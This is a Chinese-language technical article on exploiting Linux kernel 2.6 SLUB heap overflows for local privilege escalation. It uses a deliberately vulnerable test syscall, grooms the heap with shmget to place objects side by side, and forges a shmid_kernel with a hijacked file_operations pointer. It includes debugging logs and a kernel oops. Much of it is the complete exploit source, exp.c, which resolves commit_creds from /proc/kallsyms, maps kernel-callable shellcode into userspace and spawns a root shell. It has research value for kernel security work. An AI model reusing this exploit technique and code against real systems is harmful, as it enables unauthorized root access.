

### 一、前言

最近几年关于 kernel exploit 的研究比较热门，常见的内核提权漏洞大致可以分为几类：空指针引用，内核堆栈溢出，内核 slab 溢出，内核任意地址可写等等。

空指针引用漏洞比较容易 exploit，典型的例子如 sock\_sendpage, udp\_sendmsg。但是新内核的安全模块已经不在允许 userspace 的 code 映射低内存了，所以 NULL pointer dereference 曾经一度只能 dos，不能提权。但是 CVE-2010-4258 这个内核任意地址可写漏洞，可以将 null pointer dereference 的 dos 转化为提权。内核堆栈溢出相对 userspace 下的堆栈溢出比较好 exploit。这里最难 exploit 的是 kernel 的 slab 溢出。关于 slab 的溢出在 05 年的时候，UNF 的 qobaishi 就写过 paper 来阐述 slab 的 exploit 方法。此后关于 slab 的溢出研究在都集中在 2.4 内核上，2.6 下的 slab 溢出一直没看到有相关的 paper 共享出来。

在 kernel 2.6.22 的时候，kernel 为了改善 slab 的性能，引入了 slub 的设计。针对 slub 溢出的 paper 一直没有被共享直到 Jon Oberheide 发布了一个针对 CAN 协议的 slub 溢出的 exploit，这个应该是第一个公开的在 2.6kernel 上利用 slab 溢出的 exploit，在 ubuntu-10.04 2.6.32 的 kernel 上运行成功。Jon Oberheide 在他的 blog 上也有篇关于分析 slub 溢出的 paper，但是这个 exploit 由于利用了 CAN 代码上的一些优势，并没有把 slub 溢出的精髓体现出来。在深入研究了 this exploit 的基础上，在加上我调试 2.4 内核 slab 溢出的经验，研究了一下 slub 的溢出技术，在 centos 5.2 + 2.6.32 环境测试成功。

### 二、示例代码：

为了便于调试，我自己写了一个 LKM 模块，给内核新增了一个系统调用，用户可以通过 api 接口来调用。

```
#define BUFFER_SIZE 80

asmlinkage long kmalloc_overflow_test(char *addr, int size)
{
    char *buff = NULL;

    buff = kmalloc(BUFFER_SIZE, GFP_KERNEL);
    if (!buff) {
        printk("kmalloc failed.\n");
        return -1;
    }
    printk("[+] Got object at 0x%p\n", buff);

    if (copy_from_user(buff, addr, size)) {
        printk("copy_from_user failed.\n");
        kfree(buff);
        return -1;
    }
    printk("%s\n", buff);

    return 0;
}
```

```
}
```

这段代码用 `kmalloc` 分配了 80 字节的空间， 但没有检查 `size` 的大小， 用户传递一个大于 80 的 `size` 值将会产生内核堆溢出。

### 三、SLUB 结构

`slub` 大大简化了 `slab` 的数据结构，如从 `kmem_cache` 的 3 个关于 `slab` 的队列中去掉了完全满的队列。每个 `slab` 的开始也没有了 `slab` 管理结构和管理空 `obj` 的 `kmem_bufctl_t` 数组。一个采用 `slub` 管理的 `slab` 结构如下：

一个 `slab` 的结构：

```
+-----+
| obj | obj | obj |   ...   | obj |
+-----+
```

根据上面的代码片段， 在一个 `obj` 溢出后， 脏数据会直接覆盖后面相邻的那个 `obj`：

```
|first|second|
+-----+
| obj | obj | obj |   ...   | obj |
+-----+
|----overflow--->|
```

当有内核代码访问了被溢出的 `obj` 中的数据结构后， 就会产生 `oops`。

### 四、SLUB 溢出方法

内核提权的最终目的就是触发某个 `kernel bug`，然后控制内核路径到 `userspace` 事先布置好的 `shellcode` 上。 因此我们的大方向是在 `second obj` 中  
如果有一个函数指针能被脏数据覆盖为 `userspace` 下的 `shellcode`， 并且用户又能调用这个函数指针， 那么将会完成权限提升的任务。还有一个要处理的问题  
就是如何保证在有 `bug` 的代码中用 `kmalloc` 分配的 `obj` 和我们想要覆盖的函数指针所在的 `obj` 是相邻的。 因为只能两者相邻， 才能用溢出的数据覆盖函数指针。

我们先假设已经在 `kernel` 中找到了一个数据结构，正好满足了上面的需求， 现在只要保证两个 `obj` 是相邻的， 就能完成指针覆盖。我们知道 `slab` 的一个特性是  
当一个 `cache` 中的所有 `slab` 结构中的 `obj` 都用完的时候， 内核将会重新分配一个 `slab`， 新分配的 `slab` 中的 `obj` 彼此都是相邻的：

```
Kmalloc()->__kmalloc()->__do_kmalloc()->__cache_alloc()->__cache_alloc()->cache_alloc_refill  
()->cache_grow()->cache_init_objs()
```

```
static void cache_init_objs(struct kmem_cache *cachep,  
struct slab *slabp, unsigned long ctor_flags)  
{  
    for (i = 0; i < cachep->num; i++) {  
        void *objp = index_to_obj(cachep, slabp, i);  
        slab_bufctl(slabp)[i] = i + 1;  
    }  
}
```

```

    slab_bufctl(slabp)[i - 1] = BUFCTL_END;
    slabp->free = 0;
}

```

前面在 slab 的结构中提到有个 kmem\_bufctl\_t 数组，里面的每个元素指向下一个空闲 obj 的索引。在初始化一个新的 slab 时，每个 kmem\_bufctl\_t 元素都顺序的指向了与它相邻的下一个 obj，所以当内核重新分配一个 slab 结构时，我们从这个新的 slab 中分配的 obj 都是相邻的。

那么 SLUB 是不是也满足这个特性呢？在仔细读过 slub 的代码后，发现它也满足这个特性：

```

kmallocl()->slab_alloc()->__slab_alloc()->new_slab():
static struct page *new_slab(struct kmem_cache *s, gfp_t flags, int node)
{
    last = start;
    for_each_object(p, s, start, page->objects) {
        setup_object(s, page, last);
        set_freepointer(s, last, p);
        last = p;
    }
    setup_object(s, page, last);
    set_freepointer(s, last, NULL);
}
#define for_each_object(__p, __s, __addr, __objects) \
    for (__p = (__addr); __p < (__addr) + (__objects) * (__s)->size; \
        __p += (__s)->size)

```

这段代码遍历一个 page 中的所有 obj 进行初始化：

```

static inline void set_freepointer(struct kmem_cache *s, void *object, void *fp)
{
    *(void **)(object + s->offset) = fp;
}

```

s->offset 保存的是一个 slab 中下一个空闲的 obj 偏移，set\_freepointer 函数将一个 obj 的下一个空闲指针指向了下一个 obj。所以 slub 也满足这个特性。

现在我们只要在用户空间找到一种方法来不断消耗 slab，当现有的 slab 用完的时候，新分配的 slab 中的 obj 就是连续相邻的。如何消耗 slab，我们仍然可以用 shmget 系统调用来处理，并且它用到的 struct shmid\_kernel 结构中，就有我们想覆盖的函数指针！

ipc/shm.c:

```

sys_shmget->ipcget->ipcget_new->newseg:
static int newseg(struct ipc_namespace *ns, struct ipc_params *params)
{
    struct shmid_kernel *shp;

    shp = ipc_rcu_alloc(sizeof(*shp));
    shp->shm_file = file;
}
void* ipc_rcu_alloc(int size)
{
    out = kmalloc(HDRLEN_KMALLOC + size, GFP_KERNEL);
}

```

```
}
```

因此只要在用户空间不断调用 `shmget` 就会在内核中不断消耗大小为 96 的 slab。示例中的代码分配的是 80 个字节，它将会在 96 大小的 slab 中分配，

这里还有一点需要注意：

```
out = kmalloc(HDRLEN_KMALLOC + size, GFP_KERNEL);
```

用 `shmget` 分配的 obj 前段都有一个 8 个字节的站位空间，因此用 `shmget` 分配的 `shmid_kernel` 结构将会如下：

```
| ----- 96 ----- | -----96 ----- |
+-----+
| HDRLEN_KMALLOC | shmid_kernel | HDRLEN_KMALLOC | shmid_kernel |
+-----+
```

在以后覆盖的时候需要跳过 `HDRLEN_KMALLOC` 个字节。

内核中关于 slab 的信息， 可以在 `/proc/slabinfo` 得到：

```
[wzt@localhost exp]$ cat /proc/slabinfo |grep kmalloc-96
```

```
kmalloc-96          922    924    96   42    1 : tunables    0    0    0 : slabdata
22    22    0
```

922 为当前活跃的 obj 数目， 924 是所有 slab 中 obj 的数目， 因此我们在用户空间中可以解析这个文件来得到当前系统中剩余的 obj 数目：

```
int check_slab(char *slab_name, int *active, int *total)
```

```
{
    FILE *fp;
    char buff[1024], name[64];
    int active_num, total_num;

    fp = fopen("/proc/slabinfo", "r");
    if (!fp) {
        perror("fopen");
        return -1;
    }

    while (fgets(buff, 1024, fp) != NULL) {
        sscanf(buff, "%s %u %u", name, &active_num, &total_num);
        if (!strcmp(slab_name, name)) {
            *active = active_num;
            *total = total_num;
            return total_num - active_num;
        }
    }

    return -1;
}
```

现在写一段 code 来不断调用 `shmget`，看看新分配的 obj 是不是连续的， 为了调试方便， 我修改了 `sys_shmget` 的代码，

加入了 `printk` 用于打印 `kmalloc` 后的地址。 `trigger` 程序的代码片段如下：

`trigger.c`:

```

...
shmids = malloc(sizeof(int) * (free_num + SLAB_NUM * 3));

fprintf(stdout, "[+] smashing free slab ...\n");
for (i = 0; i < free_num + SLAB_NUM; i++) {
    if (!check_slab(SLAB_NAME, &active_num, &total_num))
        break;

    shmids[i] = shmget(IPC_PRIVATE, 1024, IPC_CREAT);
    if (shmids[i] < 0) {
        perror("shmget");
        return -1;
    }
}
base = i;
fprintf(stdout, "[+] smashing %d total: %d active: %d free: %d\n",
        i, total_num, active_num, total_num - active_num);

fprintf(stdout, "[+] smashing adjacent slab ...\n");
i = base;
for (; i < base + SLAB_NUM; i++) {
    shmids[i] = shmget(IPC_PRIVATE, 1024, IPC_CREAT);
    if (shmids[i] < 0) {
        perror("shmget");
        return -1;
    }
}
check_slab(SLAB_NAME, &active_num, &total_num);
fprintf(stdout, "[+] smashing %d total: %d active: %d free: %d\n",
        i, total_num, active_num, total_num - active_num);

```

...

```

[wzt@localhost exp]$ ./exp
[+] mmaping kernel code at 0x41414141 ok.
[+] looking for symbols...
[+] found commit_creds addr at 0xc0446524.
[+] found prepare_kernel_cred addr at 0xc0446710.
[+] setting up exploit payload...
[+] checking slab total: 840 active: 836 free: 4
[+] smashing free slab ...
[+] smashing 17 total: 840 active: 840 free: 0
[+] smashing adjacent slab ...
[+] smashing 117 total: 966 active: 966 free: 0

```

可以看到 dmesg 后的信息， 新的 obj 都是连续的。

```

[wzt@localhost exp]$ dmesg | tail -n 10
[+] kmalloc at 0xdf1ea120
[+] kmalloc at 0xdf1ea180
[+] kmalloc at 0xdf1ea1e0
[+] kmalloc at 0xdf1ea240

```

```
[+] kmalloc at 0xdf1ea2a0
[+] kmalloc at 0xdf1ea300
[+] kmalloc at 0xdf1ea360
[+] kmalloc at 0xdf1ea3c0
[+] kmalloc at 0xdf1ea420
[+] kmalloc at 0xdf1ea480
```

ok, 我们已经能获得一个连续的 obj 了, 现在要利用 slub 的另一个特性: FIFO, 先在这些连续的 obj 中选取一个 obj 释放掉, 然后马上触发有 bug 的代码, 那么有 bug 的代码调用 kmalloc 分配的 obj 地址就是刚才释放掉的那个 obj, 当溢出发生后, 脏数据将会覆盖它相邻的下一个 obj。可以用如下代码来触发:

trigger.c:

```
...
    free_idx = i - 4;
    fprintf(stdout, "[+] free exist shmid with idx: %d\n", free_idx);
    if (shmctl(shmids[free_idx], IPC_RMID, NULL) == -1) {
        perror("shmctl");
    }

    fprintf(stdout, "[+] trigger kmalloc overflow in %s\n", SLAB_NAME);
    memset(buff, 0x41, sizeof(buff));
    kmalloc_overflow_test(buff, SLAB_SIZE + HDRLLEN_KMALLOC + sizeof(shmid_kernel));
...

```

在这里我们将倒数第 4 个 obj 释放掉, 执行后 dmesg 可以看到:

```
[+] kmalloc at 0xd3decc00
[+] kmalloc at 0xd3decc60
[+] kmalloc at 0xd3deccc0
[+] kmalloc at 0xd3decdd0
[+] kmalloc at 0xd3decdd80
[-] kfree at 0xd3decc60
.....
[+] Got object at 0xd3decc60
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
```

shmctl 释放掉了 0xd3decc60 地址后, 有 bug 的 kmalloc 分配的地址也是 0xd3decc60。

```
[wzt@localhost exp]$ tail /proc/sysvipc/shm
      0      8192250      0      1024   3148      0      0    500    500    500    500
0      0 1293098372
1094795585 1094795585      0      500 134522884      0    500 1094795585 1094795585
0      0 4294967295    252      0
1094795585 1094795585      0      1024   3148      0      0    500    500    500    500
0      0 1293098372
      0      8323326      0      1024   3148      0      0    500    500    500    500
0      0 1293098372
```

[illegible]

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

BUG: unable to handle kernel NULL pointer dereference at (null)

IP: [

\*pde = 00000000

Oops: 0000 [#1] SMP

last sysfs file: /sys/devices/pci0000:00/0000:00:05.0/local\_cpus

Modules linked in: sys ipv6 autofs4 sunrpc ip\_tables ip6\_tables x\_tables dm\_multipath video output sbs sbshc battery ac parport\_pc lp parport snd\_intel8x0 snd\_ac97\_codec ac97\_bus snd\_seq\_dummy snd\_seq\_oss snd\_seq\_midi\_event snd\_seq snd\_seq\_device snd\_pcm\_oss snd\_mixer\_oss ide\_cd\_mod button cdrom snd\_pcm rtc\_cmos serio\_raw rtc\_core rtc\_lib snd\_timer 8139too floppy snd 8139cp soundcore i2c\_piix4 mii snd\_page\_alloc i2c\_core pcspkr dm\_snapshot dm\_zero dm\_mirror dm\_region\_hash dm\_log dm\_mod ata\_piix libata sd\_mod scsi\_mod ext3 jbd uhci\_hcd ohci\_hcd ehci\_hcd [last unloaded: microcode]

Pid: 3190, comm: exp Not tainted (2.6.32 #2) Bochs

EIP: 0060:[<c04fc352>] EFLAGS: 00010246 CPU: 1

EIP is at ipc\_has\_perm+0x46/0x61

EAX: 00000000 EBX: 00000000 ECX: 00000000 EDX: d3175428

ESI: 000001f0 EDI: d33ebf30 EBP: 00000080 ESP: d33ebec8

DS: 007b ES: 007b FS: 00d8 GS: 0033 SS: 0068

Process exp (pid: 3190, ti=d33eb000 task=dbe6ea30 task.ti=d33eb000)

Stack:

d3175428 d33ebed0 00000004 00000000 00000000 00000000 00000000 00000000  
<0> 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000  
<0> 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000

Call Trace:

[<c04f9cf3>] ? security\_ipc\_permission+0xf/0x10

[<c04f22e4>] ? do\_shmat+0xdc/0x349

[<c04057da>] ? sys\_ipc+0xff/0x162

[<c0402865>] ? syscall\_call+0x7/0xb

Code: 8c e4 82 c0 8b 92 d8 02 00 00 89 c7 8b 52 58 8b 72 04 31 d2 89 44 24 04 89 d0 f3 ab 8b 14 24  
c6 44 24 08 04 8b 42 0c 89 44 24 10 <0f> b7 0b 8d 44 24 08 8b 53 04 50 89 f0 55 e8 75 fb ff ff 83 c4

EIP: [<c04fc352>] ipc\_has\_perm+0x46/0x61 SS:ESP 0068:d33ebec8

CR2: 0000000000000000

---[ end trace 7bbab7e881899412 ]---

[wzt@localhost exp]\$

看上去像 selinux 的问题， 将它关闭掉在试试：

[wzt@localhost exp]\$ ./exp

[+] mmaping kernel code at 0x41414141 ok.

[+] looking for symbols...

[+] found commit\_creds addr at 0xc0446524.

[+] found prepare\_kernel\_cred addr at 0xc0446710.

[+] setting up exploit payload...

[+] checking slab total: 798 active: 791 free: 7

[+] smashing free slab ...

[+] smashing 5 total: 798 active: 798 free: 0

[+] smashing adjacent slab ...

[+] smashing 105 total: 924 active: 924 free: 0

[+] free exist shmid with idx: 101



```
[+] trigger kmalloc overflow in kmalloc-96
[+] shmid_kernel size: 80
[+] kern_ipc_perm size: 44
[+] shmid: 3309669
[+] launching root shell!
[root@localhost exp]# uname -a
Linux localhost.localdomain 2.6.32 #2 SMP Thu Dec 23 14:59:36 CST 2010 i686 i686 i386 GNU/Linux
[root@localhost exp]#
成功了， 终于得到可爱的 root 了！
```

五、源码：

```
exp.c
/*
 * linux kernel slub overflow test exploit
 *
 * by wzt <wzt.wzt@gmail.com>
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <limits.h>
#include <inttypes.h>
#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/sem.h>
#include <sys/shm.h>
#include <sys/mman.h>
#include <sys/stat.h>

#include "syscalls.h"

#define __NR_kmalloc_overflow_test 59

#define KALLSYMS_NAME "/proc/kallsyms"
#define SLAB_NAME "kmalloc-96"
#define SLAB_SIZE 96
#define SLAB_NUM 100

#define IPCMNI 32768
#define EIDRM 43
#define HDRLEN_KMALLOC 8

struct list_head {
    struct list_head *next;
    struct list_head *prev;
```

```
};
```

```
struct super_block {  
    struct list_head s_list;  
    unsigned int s_dev;  
    unsigned long s_blocksize;  
    unsigned char s_blocksize_bits;  
    unsigned char s_dirt;  
    uint64_t s_maxbytes;  
    void *s_type;  
    void *s_op;  
    void *dq_op;  
    void *s_qcop;  
    void *s_export_op;  
    unsigned long s_flags;  
}super_block;
```

```
struct mutex {  
    unsigned int count;  
    unsigned int wait_lock;  
    struct list_head wait_list;  
    void *owner;  
};
```

```
struct inode {  
    struct list_head i_hash;  
    struct list_head i_list;  
    struct list_head i_sb_list;  
    struct list_head i_dentry_list;  
    unsigned long i_ino;  
    unsigned int i_count;  
    unsigned int i_nlink;  
    unsigned int i_uid;  
    unsigned int i_gid;  
    unsigned int i_rdev;  
    uint64_t i_version;  
    uint64_t i_size;  
    unsigned int i_size_seqcount;  
    long i_atime_tv_sec;  
    long i_atime_tv_nsec;  
    long i_mtime_tv_sec;  
    long i_mtime_tv_nsec;  
    long i_ctime_tv_sec;  
    long i_ctime_tv_nsec;  
    uint64_t i_blocks;  
    unsigned int i_blkbits;  
    unsigned short i_bytes;  
    unsigned short i_mode;  
    unsigned int i_lock;  
    struct mutex i_mutex;
```

```

    unsigned int i_alloc_sem_activity;
    unsigned int i_alloc_sem_wait_lock;
    struct list_head i_alloc_sem_wait_list;
    void *i_op;
    void *i_fop;
    struct super_block *i_sb;
    void *i_flock;
    void *i_mapping;
    char i_data[84];
    void *i_dquot_1;
    void *i_dquot_2;
    struct list_head i_devices;
    void *i_pipe_union;
    unsigned int i_generation;
    unsigned int i_fsnotify_mask;
    void *i_fsnotify_mark_entries;
    struct list_head inotify_watches;
    struct mutex inotify_mutex;
}inode;

```

```

struct dentry {
    unsigned int d_count;
    unsigned int d_flags;
    unsigned int d_lock;
    int d_mounted;
    void *d_inode;
    struct list_head d_hash;
    void *d_parent;
}dentry;

```

```

struct file_operations {
    void *owner;
    void *llseek;
    void *read;
    void *write;
    void *aio_read;
    void *aio_write;
    void *readdir;
    void *poll;
    void *ioctl;
    void *unlocked_ioctl;
    void *compat_ioctl;
    void *mmap;
    void *open;
    void *flush;
    void *release;
    void *fsync;
    void *aio_fsync;
    void *fasync;
    void *lock;
}

```

```

        void *sendpage;
        void *get_unmapped_area;
        void *check_flags;
        void *flock;
        void *splice_write;
        void *splice_read;
        void *setlease;
    }op;

    struct vfsmount {
        struct list_head mnt_hash;
        void *mnt_parent;
        void *mnt_mountpoint;
        void *mnt_root;
        void *mnt_sb;
        struct list_head mnt_mounts;
        struct list_head mnt_child;
        int mnt_flags;
        const char *mnt_devname;
        struct list_head mnt_list;
        struct list_head mnt_expire;
        struct list_head mnt_share;
        struct list_head mnt_slave_list;
        struct list_head mnt_slave;
        struct vfsmount *mnt_master;
        struct mnt_namespace *mnt_ns;
        int mnt_id;
        int mnt_group_id;
        int mnt_count;
    }vfsmount;

    struct file {
        struct list_head fu_list;
        struct vfsmount *f_vfsmnt;
        struct dentry *f_dentry;
        void *f_op;
        unsigned int f_lock;
        unsigned long f_count;
    }file;

    struct kern_ipc_perm {
        unsigned int lock;
        int deleted;
        int id;
        unsigned int key;
        unsigned int uid;
        unsigned int gid;
        unsigned int cuid;
        unsigned int cgid;
        unsigned int mode;
    }kern_ipc_perm;

```

```

    unsigned int seq;
    void *security;
};

struct shmid_kernel {
    struct kern_ipc_perm shm_perm;
    struct file *shm_file;
    unsigned long shm_nattch;
    unsigned long shm_segsz;
    time_t shm_atim;
    time_t shm_dtim;
    time_t shm_ctim;
    unsigned int shm_cprid;
    unsigned int shm_lprid;
    void *mlock_user;
}shmid_kernel;

typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;

static inline my_syscall2(long, kmalloc_overflow_test, char *, addr, int, size);

int __attribute__((regparm(3)))
kernel_code(struct file *file, void *vma)
{
    commit_creds(prepare_kernel_cred(0));
    return -1;
}

unsigned long find_symbol_by_proc(char *file_name, char *symbol_name)
{
    FILE *s_fp;
    char buff[200];
    char *p = NULL, *p1 = NULL;
    unsigned long addr = 0;

    s_fp = fopen(file_name, "r");
    if (s_fp == NULL) {
        printf("open %s failed.\n", file_name);
        return 0;
    }

    while (fgets(buff, 200, s_fp) != NULL) {
        if (strstr(buff, symbol_name) != NULL) {
            buff[strlen(buff) - 1] = '\0';
            p = strchr(strchr(buff, ' ') + 1, ' ');
            ++p;

```

```

        if (!p) {
            return 0;
        }
        if (!strcmp(p, symbol_name)) {
            p1 = strchr(buff, ' ');
            *p1 = '\0';
            sscanf(buff, "%lx", &addr);
            //addr = strtoul(buff, NULL, 16);
            printf("[+] found %s addr at 0x%x.\n",
                symbol_name, addr);
            break;
        }
    }

    fclose(s_fp);
    return addr;
}

```

```

int check_slab(char *slab_name, int *active, int *total)
{
    FILE *fp;
    char buff[1024], name[64];
    int active_num, total_num;

    fp = fopen("/proc/slabinfo", "r");
    if (!fp) {
        perror("fopen");
        return -1;
    }

    while (fgets(buff, 1024, fp) != NULL) {
        sscanf(buff, "%s %u %u", name, &active_num, &total_num);
        if (!strcmp(slab_name, name)) {
            *active = active_num;
            *total = total_num;
            return total_num - active_num;
        }
    }

    return -1;
}

```

```

void clear_old_shm(void)
{
    char *cmd = "for shmid in `cat /proc/sysvipc/shm | awk '{print $2}'`; "
        "do ipcrm -m $shmid > /dev/null 2>&1; done;";

    system(cmd);
}

```

```

void mmap_init(void)
{
    void *payload;

    payload = mmap((void *) (0x41414141 & ~0xfff), 2 * 4096,
                   PROT_READ | PROT_WRITE | PROT_EXEC,
                   MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, 0, 0);
    if ((long)payload == -1) {
        printf("[*] Failed to mmap() at target address.\n");
        return ;
    }
    printf("[+] mmaping kernel code at 0x41414141 ok.\n");
    memcpy((void *)0x41414141, &kernel_code, 1024);
}

void setup(void)
{
    printf("[+] looking for symbols...\n");

    commit_creds = (_commit_creds)
        find_symbol_by_proc(KALLSYMS_NAME, "commit_creds");
    if (!commit_creds) {
        printf("[-] not found commit_creds addr.\n");
        return ;
    }

    prepare_kernel_cred =
        (_prepare_kernel_cred)find_symbol_by_proc(KALLSYMS_NAME,
        "prepare_kernel_cred");
    if (!prepare_kernel_cred) {
        printf("[-] not found prepare_kernel_cred addr.\n");
        return ;
    }

    printf("[+] setting up exploit payload...\n");

    super_block.s_flags = 0;

    inode.i_size = 4096;
    inode.i_sb = &super_block;
    inode.inotify_watches.next = &inode.inotify_watches;
    inode.inotify_watches.prev = &inode.inotify_watches;
    inode.inotify_mutex.count = 1;

    dentry.d_count = 4096;
    dentry.d_flags = 4096;
    dentry.d_parent = NULL;
    dentry.d_inode = &inode;
}

```

```

    op.mmap = &kernel_code;
    op.get_unmapped_area = &kernel_code;

    vfsmount.mnt_flags = 0;
    vfsmount.mnt_count = 1;

    file.fu_list.prev = &file.fu_list;
    file.fu_list.next = &file.fu_list;
    file.f_dentry = &dentry;
    file.f_vfsmnt = &vfsmount;
    file.f_op = &op;

    shmid_kernel.shm_perm.key = IPC_PRIVATE;
    shmid_kernel.shm_perm.uid = 501;
    shmid_kernel.shm_perm.gid = 501;
    shmid_kernel.shm_perm.cuid = getuid();
    shmid_kernel.shm_perm.cgid = getgid();
    shmid_kernel.shm_perm.mode = -1;
    shmid_kernel.shm_file = &file;
}

int trigger(void)
{
    int *shmids;
    int total_num, active_num, free_num;
    int base, free_idx, i;
    int ret;
    char buff[1024];

    clear_old_shm();

    free_num = check_slab(SLAB_NAME, &active_num, &total_num);
    fprintf(stdout, "[+] checking slab total: %d active: %d free: %d\n",
            total_num, active_num, total_num - active_num);

    shmids = malloc(sizeof(int) * (free_num + SLAB_NUM * 3));

    fprintf(stdout, "[+] smashing free slab ...\n");
    for (i = 0; i < free_num + SLAB_NUM; i++) {
        if (!check_slab(SLAB_NAME, &active_num, &total_num))
            break;

        shmids[i] = shmget(IPC_PRIVATE, 1024, IPC_CREAT);
        if (shmids[i] < 0) {
            perror("shmget");
            return -1;
        }
    }
    base = i;

```



```

        fprintf(stdout, "[+] smashing %d total: %d active: %d free: %d\n",
                i, total_num, active_num, total_num - active_num);

fprintf(stdout, "[+] smashing adjacent slab ...\n");
i = base;
for (; i < base + SLAB_NUM; i++) {
    shmids[i] = shmget(IPC_PRIVATE, 1024, IPC_CREAT);
    if (shmids[i] < 0) {
        perror("shmget");
        return -1;
    }
}
check_slab(SLAB_NAME, &active_num, &total_num);
fprintf(stdout, "[+] smashing %d total: %d active: %d free: %d\n",
        i, total_num, active_num, total_num - active_num);

//free_idx = base + SLAB_NUM - 4;
free_idx = i - 4;
fprintf(stdout, "[+] free exist shmid with idx: %d\n", free_idx);
if (shmctl(shmids[free_idx], IPC_RMID, NULL) == -1) {
    perror("shmctl");
}

sleep(1);

fprintf(stdout, "[+] trigger kmalloc overflow in %s\n", SLAB_NAME);
memset(buff, 0x41, sizeof(buff));
shmid_kernel.shm_perm.seq = shmids[free_idx + 1] / IPCMNI;
memcpy(&buff[SLAB_SIZE + HDRLEN_KMALLOC], &shmid_kernel, sizeof(shmid_kernel));
//memcpy(&buff[SLAB_SIZE], &shmid_kernel, sizeof(shmid_kernel));

printf("[+] shmid_kernel size: %d\n", sizeof(shmid_kernel));
printf("[+] kern_ipc_perm size: %d\n", sizeof(struct kern_ipc_perm));
printf("[+] shmid: %d\n", shmids[free_idx]);

kmalloc_overflow_test(buff, SLAB_SIZE + HDRLEN_KMALLOC + sizeof(shmid_kernel));

ret = (int)shmat(shmids[free_idx + 1], NULL, SHM_RDONLY);
if (ret == -1 && errno != EIDRM) {
    setresuid(0, 0, 0);
    setresgid(0, 0, 0);

    printf("[+] launching root shell!\n");

    execl("/bin/bash", "/bin/bash", NULL);
    exit(0);
}

return 0;
}

```

```
int main(void)
{
    mmap_init();
    setup();
    trigger();
}
```

## 六、参考

- 1、 Jon Oberheide - Linux Kernel CAN SLUB Overflow
- 2、 grip2 - Linux 内核溢出研究系列(2) - kmalloc 溢出技术
- 3、 qobaishi - the sotry of exploiting kmalloc() overflows
- 4、 Ramon de Carvalho Valle - Linux Slab Allocator Bu\_er Overow Vulnerabilities
- 5、 wzt - How to Exploit Linux Kernel NULL Pointer Dereference
- 6、 wzt - Linux kernel stack and heap exploitation